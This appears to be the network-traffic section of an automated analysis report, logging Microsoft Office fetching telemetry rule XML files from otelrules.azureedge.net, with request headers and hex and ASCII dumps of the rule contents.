2024-11-17 21:20:17 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-17 21:20:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-17 21:20:18 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-17 21:20:18 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:19 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05f35093-901e-0016-5b99-38efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-1866b5c5fbb2ngs6hC1DFW402w00000002zg00000000mkgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:19 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6ebc7fcd-801e-00a0-42aa-372196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-164f84587bfrrmqdhC1DFWvu6s00000003b000000000rpwt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49706	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:19 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-16547b76f7fm8pcwhC1DFWaxcc0000000310000000001s37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 21:20:20 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:19 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 1270a440-201e-00aa-78a0-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-16547b76f7fkz9l7hC1DFW35uc00000001v000000000n13s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49705	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:19 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-16547b76f7fr5rfnhC1DFW0am4000000027000000000q710 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 9a209ebf-201e-0096-69f1-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-164f84587bfsqsthhC1DFWh63000000003y000000000dt0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-16547b76f7fr5rfnhC1DFW0am4000000027000000000q72c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 01d00230-301e-0052-7b89-3865d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-16547b76f7fm8pcwhC1DFWaxcc00000002y000000000cmur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 21:20:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:20 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 664ceb09-201e-0085-50bf-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-16547b76f7fmcv27hC1DFWgpcg00000003k000000000mf42 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212020Z-16547b76f7f6nr89hC1DFWz7ug000000015g00000000b2zv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
